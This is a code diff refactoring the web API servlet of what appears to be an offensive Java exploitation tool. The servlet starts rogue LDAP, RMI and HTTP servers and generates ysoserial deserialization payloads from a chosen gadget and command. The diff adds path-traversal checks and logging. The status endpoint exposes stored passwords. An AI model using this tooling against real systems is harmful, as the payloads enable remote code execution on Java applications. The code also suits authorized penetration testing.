resp.getWriter().write("{\"success\":false,\"error\":\"" + escapeJson(e.getMessage()) + "\"}"); resp.getWriter().write("{\"success\":false,\"error\":\"" + WebUtils.escapeJson(e.getMessage()) + "\"}");
} }
} }
private void handleGet(String path, HttpServletRequest req, HttpServletResponse resp) throws Exception {
switch (path) {
case "/status":
case "/config":
handleStatus(resp);
break;
case "/gadgets":
handleGadgets(resp);
break;
case "/logs":
handleLogs(req, resp);
break;
case "/files":
handleFileList(resp);
break;
case "/files/download":
handleFileDownload(req, resp);
break;
default:
sendNotFound(resp);
break;
}
}
private void handlePost(String path, HttpServletRequest req, HttpServletResponse resp) throws Exception {
switch (path) {
case "/servers/start":
handleServersStart(req, resp);
break;
case "/servers/stop":
handleServersStop(req, resp);
break;
case "/servers/toggle":
handleServersToggle(req, resp);
break;
case "/payload/generate":
handlePayloadGenerate(req, resp);
break;
case "/config/update":
handleConfigUpdate(req, resp);
break;
case "/files/delete":
handleFileDelete(req, resp);
break;
case "/files/upload":
handleFileUpload(req, resp);
break;
default:
sendNotFound(resp);
break;
}
}
private void sendNotFound(HttpServletResponse resp) throws IOException {
resp.setStatus(404);
resp.getWriter().write("{\"error\":\"Not found\"}");
}
private void handleStatus(HttpServletResponse resp) throws IOException { private void handleStatus(HttpServletResponse resp) throws IOException {
Map<String, Object> status = new LinkedHashMap<>(); resp.getWriter().write(JSON.toJSONString(buildStatusMap()));
status.put("ldapRunning", LdapServer.isRunning);
status.put("ldapsRunning", LdapsServer.isRunning);
status.put("httpRunning", HTTPServer.isRunning);
status.put("rmiRunning", RMIServer.isRunning);
status.put("ip", Config.ip);
status.put("ldapPort", Config.ldapPort);
status.put("ldapsPort", Config.ldapsPort);
status.put("httpPort", Config.httpPort);
status.put("rmiPort", Config.rmiPort);
status.put("codeBase", Config.codeBase);
status.put("AESkey", Config.AESkey);
status.put("user", Config.USER);
status.put("PASSWD", Config.PASSWD);
status.put("TLSProxy", Config.TLSProxy);
status.put("keyPass", Config.keyPass);
status.put("certFile", Config.certFile);
status.put("version", "1.3.8");
resp.getWriter().write(JSON.toJSONString(status));
} }
private void handleLogs(HttpServletRequest req, HttpServletResponse resp) throws IOException { private void handleLogs(HttpServletRequest req, HttpServletResponse resp) throws IOException {
@@ -111,11 +138,11 @@ public class JettyApiServlet extends HttpServlet {
} }
private void handleFileList(HttpServletResponse resp) throws IOException { private void handleFileList(HttpServletResponse resp) throws IOException {
java.io.File dir = new java.io.File("."); File dir = new File(".");
java.io.File[] files = dir.listFiles(File::isFile); File[] files = dir.listFiles(File::isFile);
List<Map<String, Object>> list = new ArrayList<>(); List<Map<String, Object>> list = new ArrayList<>();
if (files != null) { if (files != null) {
for (java.io.File f : files) { for (File f : files) {
Map<String, Object> item = new LinkedHashMap<>(); Map<String, Object> item = new LinkedHashMap<>();
item.put("name", f.getName()); item.put("name", f.getName());
item.put("size", f.length()); item.put("size", f.length());
@@ -134,20 +161,20 @@ public class JettyApiServlet extends HttpServlet {
resp.getWriter().write("{\"error\":\"name required\"}"); resp.getWriter().write("{\"error\":\"name required\"}");
return; return;
} }
Path filePath = Paths.get(name); Path filePath = WebUtils.resolveSafePath(name);
if (!Files.exists(filePath)) { if (!Files.exists(filePath)) {
resp.setStatus(404); resp.setStatus(404);
resp.getWriter().write("{\"error\":\"file not found\"}"); resp.getWriter().write("{\"error\":\"file not found\"}");
return; return;
} }
resp.setContentType("application/octet-stream"); resp.setContentType("application/octet-stream");
resp.setHeader("Content-Disposition", "attachment; filename=\"" + name + "\""); resp.setHeader("Content-Disposition", "attachment; filename=\"" + filePath.getFileName() + "\"");
resp.setContentLengthLong(Files.size(filePath)); resp.setContentLengthLong(Files.size(filePath));
Files.copy(filePath, resp.getOutputStream()); Files.copy(filePath, resp.getOutputStream());
} }
private void handleFileDelete(HttpServletRequest req, HttpServletResponse resp) throws IOException { private void handleFileDelete(HttpServletRequest req, HttpServletResponse resp) throws IOException {
JSONObject json = readJson(req); JSONObject json = WebUtils.readJson(req);
String name = json.getString("name"); String name = json.getString("name");
Map<String, Object> result = new LinkedHashMap<>(); Map<String, Object> result = new LinkedHashMap<>();
if (name == null || name.isEmpty()) { if (name == null || name.isEmpty()) {
@@ -156,7 +183,7 @@ public class JettyApiServlet extends HttpServlet {
resp.getWriter().write(JSON.toJSONString(result)); resp.getWriter().write(JSON.toJSONString(result));
return; return;
} }
Path filePath = Paths.get(name); Path filePath = WebUtils.resolveSafePath(name);
if (!Files.exists(filePath)) { if (!Files.exists(filePath)) {
result.put("success", false); result.put("success", false);
result.put("error", "file not found"); result.put("error", "file not found");
@@ -181,7 +208,7 @@ public class JettyApiServlet extends HttpServlet {
if (fileName == null || fileName.isEmpty()) { if (fileName == null || fileName.isEmpty()) {
fileName = "uploaded_file"; fileName = "uploaded_file";
} }
Path targetPath = Paths.get(fileName); Path targetPath = WebUtils.resolveSafePath(fileName);
try (InputStream input = filePart.getInputStream()) { try (InputStream input = filePart.getInputStream()) {
Files.copy(input, targetPath, StandardCopyOption.REPLACE_EXISTING); Files.copy(input, targetPath, StandardCopyOption.REPLACE_EXISTING);
} }
@@ -196,66 +223,53 @@ public class JettyApiServlet extends HttpServlet {
} }
private void handleServersStart(HttpServletRequest req, HttpServletResponse resp) throws IOException { private void handleServersStart(HttpServletRequest req, HttpServletResponse resp) throws IOException {
JSONObject json = readJson(req); JSONObject json = WebUtils.readJson(req);
applyNetworkConfig(json);
Map<String, Object> result = new LinkedHashMap<>(); Map<String, Object> result = new LinkedHashMap<>();
List<String> started = new ArrayList<>(); List<String> started = new ArrayList<>();
List<String> errors = new ArrayList<>();
boolean startLdap = json.getBooleanValue("ldap"); boolean startLdap = json.getBooleanValue("ldap");
boolean startLdaps = json.getBooleanValue("ldaps"); boolean startLdaps = json.getBooleanValue("ldaps");
boolean startHttp = json.getBooleanValue("http"); boolean startHttp = json.getBooleanValue("http");
boolean startRmi = json.getBooleanValue("rmi"); boolean startRmi = json.getBooleanValue("rmi");
if (json.containsKey("ip")) Config.ip = json.getString("ip");
if (json.containsKey("ldapPort")) Config.ldapPort = json.getIntValue("ldapPort");
if (json.containsKey("ldapsPort")) Config.ldapsPort = json.getIntValue("ldapsPort");
if (json.containsKey("httpPort")) Config.httpPort = json.getIntValue("httpPort");
if (json.containsKey("rmiPort")) Config.rmiPort = json.getIntValue("rmiPort");
if (startLdap && !LdapServer.isRunning) { if (startLdap && !LdapServer.isRunning) {
new Thread(() -> { try { LdapServer.start(); } catch (Exception ignored) {} }, "ldap-starter").start(); new Thread(() -> { try { LdapServer.start(); } catch (Exception e) { log.error("Failed to start LDAP server", e); } }, "ldap-starter").start();
started.add("LDAP"); started.add("LDAP");
} }
if (startHttp && !HTTPServer.isRunning) { if (startHttp && !HTTPServer.isRunning) {
new Thread(() -> { try { HTTPServer.start(); } catch (Exception ignored) {} }, "http-starter").start(); new Thread(() -> { try { HTTPServer.start(); } catch (Exception e) { log.error("Failed to start HTTP server", e); } }, "http-starter").start();
started.add("HTTP"); started.add("HTTP");
} }
if (startLdaps && !LdapsServer.isRunning) { if (startLdaps && !LdapsServer.isRunning) {
new Thread(() -> { try { LdapsServer.start(); } catch (Exception ignored) {} }, "ldaps-starter").start(); new Thread(() -> { try { LdapsServer.start(); } catch (Exception e) { log.error("Failed to start LDAPS server", e); } }, "ldaps-starter").start();
started.add("LDAPS"); started.add("LDAPS");
} }
if (startRmi && !RMIServer.isRunning) { if (startRmi && !RMIServer.isRunning) {
new Thread(() -> { try { RMIServer.start(); } catch (Exception ignored) {} }, "rmi-starter").start(); new Thread(() -> { try { RMIServer.start(); } catch (Exception e) { log.error("Failed to start RMI server", e); } }, "rmi-starter").start();
started.add("RMI"); started.add("RMI");
} }
result.put("started", started); result.put("started", started);
result.put("errors", errors); result.put("errors", Collections.emptyList());
result.put("success", true); result.put("success", true);
resp.getWriter().write(JSON.toJSONString(result)); resp.getWriter().write(JSON.toJSONString(result));
} }
private void handleServersStop(HttpServletRequest req, HttpServletResponse resp) throws IOException { private void handleServersStop(HttpServletRequest req, HttpServletResponse resp) throws IOException {
JSONObject json = readJson(req); JSONObject json = WebUtils.readJson(req);
Map<String, Object> result = new LinkedHashMap<>();
String server = json.getString("server"); String server = json.getString("server");
if (server == null) { if (server == null) {
result.put("success", false); sendError(resp, "server name required");
result.put("error", "server name required");
resp.getWriter().write(JSON.toJSONString(result));
return; return;
} }
switch (server.toLowerCase()) { boolean stopped = stopServer(server.toLowerCase());
case "ldap": LdapServer.stop(); break; if (!stopped) {
case "ldaps": LdapsServer.stop(); break; sendError(resp, "unknown server: " + server);
case "http": HTTPServer.stop(); break; return;
case "rmi": RMIServer.stop(); break;
default:
result.put("success", false);
result.put("error", "unknown server: " + server);
resp.getWriter().write(JSON.toJSONString(result));
return;
} }
Map<String, Object> result = new LinkedHashMap<>();
result.put("success", true); result.put("success", true);
result.put("server", server); result.put("server", server);
result.put("status", buildStatusMap()); result.put("status", buildStatusMap());
@@ -263,59 +277,23 @@ public class JettyApiServlet extends HttpServlet {
} }
private void handleServersToggle(HttpServletRequest req, HttpServletResponse resp) throws IOException { private void handleServersToggle(HttpServletRequest req, HttpServletResponse resp) throws IOException {
JSONObject json = readJson(req); JSONObject json = WebUtils.readJson(req);
Map<String, Object> result = new LinkedHashMap<>();
String server = json.getString("server"); String server = json.getString("server");
if (server == null) { if (server == null) {
result.put("success", false); sendError(resp, "server name required");
result.put("error", "server name required");
resp.getWriter().write(JSON.toJSONString(result));
return; return;
} }
boolean nowRunning = false; boolean[] nowRunning = {false};
switch (server.toLowerCase()) { boolean handled = toggleServer(server.toLowerCase(), nowRunning);
case "ldap": if (!handled) {
if (LdapServer.isRunning) { sendError(resp, "unknown server: " + server);
LdapServer.stop(); return;
} else {
new Thread(() -> { try { LdapServer.start(); } catch (Exception ignored) {} }, "ldap-toggler").start();
nowRunning = true;
}
break;
case "ldaps":
if (LdapsServer.isRunning) {
LdapsServer.stop();
} else {
new Thread(() -> { try { LdapsServer.start(); } catch (Exception ignored) {} }, "ldaps-toggler").start();
nowRunning = true;
}
break;
case "http":
if (HTTPServer.isRunning) {
HTTPServer.stop();
} else {
new Thread(() -> { try { HTTPServer.start(); } catch (Exception ignored) {} }, "http-toggler").start();
nowRunning = true;
}
break;
case "rmi":
if (RMIServer.isRunning) {
RMIServer.stop();
} else {
new Thread(() -> { try { RMIServer.start(); } catch (Exception ignored) {} }, "rmi-toggler").start();
nowRunning = true;
}
break;
default:
result.put("success", false);
result.put("error", "unknown server: " + server);
resp.getWriter().write(JSON.toJSONString(result));
return;
} }
try { Thread.sleep(800); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } try { Thread.sleep(800); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
Map<String, Object> result = new LinkedHashMap<>();
result.put("success", true); result.put("success", true);
result.put("server", server); result.put("server", server);
result.put("running", nowRunning); result.put("running", nowRunning[0]);
result.put("status", buildStatusMap()); result.put("status", buildStatusMap());
resp.getWriter().write(JSON.toJSONString(result)); resp.getWriter().write(JSON.toJSONString(result));
} }
@@ -333,15 +311,14 @@ public class JettyApiServlet extends HttpServlet {
} }
private void handlePayloadGenerate(HttpServletRequest req, HttpServletResponse resp) throws Exception { private void handlePayloadGenerate(HttpServletRequest req, HttpServletResponse resp) throws Exception {
JSONObject json = readJson(req); JSONObject json = WebUtils.readJson(req);
Map<String, Object> result = new LinkedHashMap<>();
String gadget = json.getString("gadget"); String gadget = json.getString("gadget");
String command = json.getString("command"); String command = json.getString("command");
String saveFilename = json.getString("filename"); String saveFilename = json.getString("filename");
boolean encodeBase64 = json.getBooleanValue("encodeBase64"); boolean encodeBase64 = json.getBooleanValue("encodeBase64");
if (gadget == null || command == null) { if (gadget == null || command == null) {
Map<String, Object> result = new LinkedHashMap<>();
result.put("success", false); result.put("success", false);
result.put("error", "gadget and command are required"); result.put("error", "gadget and command are required");
resp.getWriter().write(JSON.toJSONString(result)); resp.getWriter().write(JSON.toJSONString(result));
@@ -351,7 +328,7 @@ public class JettyApiServlet extends HttpServlet {
boolean keepFile = (saveFilename != null && !saveFilename.trim().isEmpty()); boolean keepFile = (saveFilename != null && !saveFilename.trim().isEmpty());
String filename = keepFile ? saveFilename.trim() : "1.ser"; String filename = keepFile ? saveFilename.trim() : "1.ser";
java.util.List<String> argList = new java.util.ArrayList<>(); List<String> argList = new ArrayList<>();
argList.add("-y"); argList.add("-y");
argList.add("-g"); argList.add("-g");
argList.add(gadget); argList.add(gadget);
@@ -383,51 +360,41 @@ public class JettyApiServlet extends HttpServlet {
argList.add(dirtyLengthVal.trim()); argList.add(dirtyLengthVal.trim());
} }
ysoserial.run(argList.toArray(new String[0]));
Path filePath = Paths.get(filename); Path filePath = Paths.get(filename);
byte[] data = Files.readAllBytes(filePath); try {
ysoserial.run(argList.toArray(new String[0]));
byte[] data = Files.readAllBytes(filePath);
result.put("success", true); Map<String, Object> result = new LinkedHashMap<>();
if (encodeBase64) { result.put("success", true);
String b64 = Base64.getEncoder().encodeToString(data); if (encodeBase64) {
result.put("message", b64); String b64 = Base64.getEncoder().encodeToString(data);
result.put("message", b64);
if (keepFile) {
Files.write(filePath, b64.getBytes());
}
} else {
StringBuilder hex = new StringBuilder();
for (byte b : data) {
hex.append(String.format("%02x", b));
}
result.put("message", hex.toString());
}
if (keepFile) { if (keepFile) {
Files.write(filePath, b64.getBytes()); result.put("saved", filename);
} }
} else { resp.getWriter().write(JSON.toJSONString(result));
StringBuilder hex = new StringBuilder(); } finally {
for (byte b : data) { if (!keepFile) {
hex.append(String.format("%02x", b)); Files.deleteIfExists(filePath);
} }
result.put("message", hex.toString());
} }
if (!keepFile) {
Files.deleteIfExists(filePath);
}
if (keepFile) {
result.put("saved", filename);
}
resp.getWriter().write(JSON.toJSONString(result));
} }
private void handleConfigUpdate(HttpServletRequest req, HttpServletResponse resp) throws IOException { private void handleConfigUpdate(HttpServletRequest req, HttpServletResponse resp) throws IOException {
JSONObject json = readJson(req); JSONObject json = WebUtils.readJson(req);
applyFullConfig(json);
Map<String, Object> result = new LinkedHashMap<>(); Map<String, Object> result = new LinkedHashMap<>();
if (json.containsKey("ip")) Config.ip = json.getString("ip");
if (json.containsKey("ldapPort")) Config.ldapPort = json.getIntValue("ldapPort");
if (json.containsKey("ldapsPort")) Config.ldapsPort = json.getIntValue("ldapsPort");
if (json.containsKey("httpPort")) Config.httpPort = json.getIntValue("httpPort");
if (json.containsKey("rmiPort")) Config.rmiPort = json.getIntValue("rmiPort");
if (json.containsKey("codeBase")) Config.codeBase = json.getString("codeBase");
if (json.containsKey("AESkey")) Config.AESkey = json.getString("AESkey");
if (json.containsKey("user")) Config.USER = json.getString("user");
if (json.containsKey("PASSWD")) Config.PASSWD = json.getString("PASSWD");
if (json.containsKey("TLSProxy")) Config.TLSProxy = json.getBooleanValue("TLSProxy");
if (json.containsKey("keyPass")) Config.keyPass = json.getString("keyPass");
if (json.containsKey("certFile")) Config.certFile = json.getString("certFile");
result.put("success", true); result.put("success", true);
result.put("config", buildStatusMap()); result.put("config", buildStatusMap());
resp.getWriter().write(JSON.toJSONString(result)); resp.getWriter().write(JSON.toJSONString(result));
@@ -455,25 +422,61 @@ public class JettyApiServlet extends HttpServlet {
return status; return status;
} }
private JSONObject readJson(HttpServletRequest req) throws IOException { private void applyNetworkConfig(JSONObject json) {
StringBuilder sb = new StringBuilder(); if (json.containsKey("ip")) Config.ip = json.getString("ip");
try (BufferedReader reader = req.getReader()) { if (json.containsKey("ldapPort")) Config.ldapPort = json.getIntValue("ldapPort");
String line; if (json.containsKey("ldapsPort")) Config.ldapsPort = json.getIntValue("ldapsPort");
while ((line = reader.readLine()) != null) { if (json.containsKey("httpPort")) Config.httpPort = json.getIntValue("httpPort");
sb.append(line); if (json.containsKey("rmiPort")) Config.rmiPort = json.getIntValue("rmiPort");
}
}
String body = sb.toString();
if (body.isEmpty()) return new JSONObject();
return JSON.parseObject(body);
} }
private String escapeJson(String s) { private void applyFullConfig(JSONObject json) {
if (s == null) return "null"; applyNetworkConfig(json);
return s.replace("\\", "\\\\") if (json.containsKey("codeBase")) Config.codeBase = json.getString("codeBase");
.replace("\"", "\\\"") if (json.containsKey("AESkey")) Config.AESkey = json.getString("AESkey");
.replace("\n", "\\n") if (json.containsKey("user")) Config.USER = json.getString("user");
.replace("\r", "\\r") if (json.containsKey("PASSWD")) Config.PASSWD = json.getString("PASSWD");
.replace("\t", "\\t"); if (json.containsKey("TLSProxy")) Config.TLSProxy = json.getBooleanValue("TLSProxy");
if (json.containsKey("keyPass")) Config.keyPass = json.getString("keyPass");
if (json.containsKey("certFile")) Config.certFile = json.getString("certFile");
}
private boolean stopServer(String server) {
switch (server) {
case "ldap": LdapServer.stop(); return true;
case "ldaps": LdapsServer.stop(); return true;
case "http": HTTPServer.stop(); return true;
case "rmi": RMIServer.stop(); return true;
default: return false;
}
}
private boolean toggleServer(String server, boolean[] nowRunning) {
switch (server) {
case "ldap":
if (LdapServer.isRunning) { LdapServer.stop(); }
else { new Thread(() -> { try { LdapServer.start(); } catch (Exception e) { log.error("Failed to toggle LDAP server", e); } }, "ldap-toggler").start(); nowRunning[0] = true; }
return true;
case "ldaps":
if (LdapsServer.isRunning) { LdapsServer.stop(); }
else { new Thread(() -> { try { LdapsServer.start(); } catch (Exception e) { log.error("Failed to toggle LDAPS server", e); } }, "ldaps-toggler").start(); nowRunning[0] = true; }
return true;
case "http":
if (HTTPServer.isRunning) { HTTPServer.stop(); }
else { new Thread(() -> { try { HTTPServer.start(); } catch (Exception e) { log.error("Failed to toggle HTTP server", e); } }, "http-toggler").start(); nowRunning[0] = true; }
return true;
case "rmi":
if (RMIServer.isRunning) { RMIServer.stop(); }
else { new Thread(() -> { try { RMIServer.start(); } catch (Exception e) { log.error("Failed to toggle RMI server", e); } }, "rmi-toggler").start(); nowRunning[0] = true; }
return true;
default: return false;
}
}
private void sendError(HttpServletResponse resp, String error) throws IOException {
Map<String, Object> result = new LinkedHashMap<>();
result.put("success", false);
result.put("error", error);
resp.getWriter().write(JSON.toJSONString(result));
} }
} }
@@ -0,0 +1,48 @@
package com.qi4l.JYso.web;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
public class WebUtils {
private static final Path BASE_DIR = Paths.get(".").toAbsolutePath().normalize();
public static Path resolveSafePath(String name) {
if (name == null || name.isEmpty()) {
throw new IllegalArgumentException("name is empty");
}
Path resolved = BASE_DIR.resolve(name).normalize();
if (!resolved.startsWith(BASE_DIR)) {
throw new IllegalArgumentException("path traversal detected");
}
return resolved;
}
public static JSONObject readJson(HttpServletRequest req) throws IOException {
StringBuilder sb = new StringBuilder();
try (BufferedReader reader = req.getReader()) {
String line;
while ((line = reader.readLine()) != null) {
sb.append(line);
}
}
String body = sb.toString();
if (body.isEmpty()) return new JSONObject();
return JSON.parseObject(body);
}
public static String escapeJson(String s) {
if (s == null) return "null";
return s.replace("\\", "\\\\")
.replace("\"", "\\\"")
.replace("\n", "\\n")
.replace("\r", "\\r")
.replace("\t", "\\t");
}
}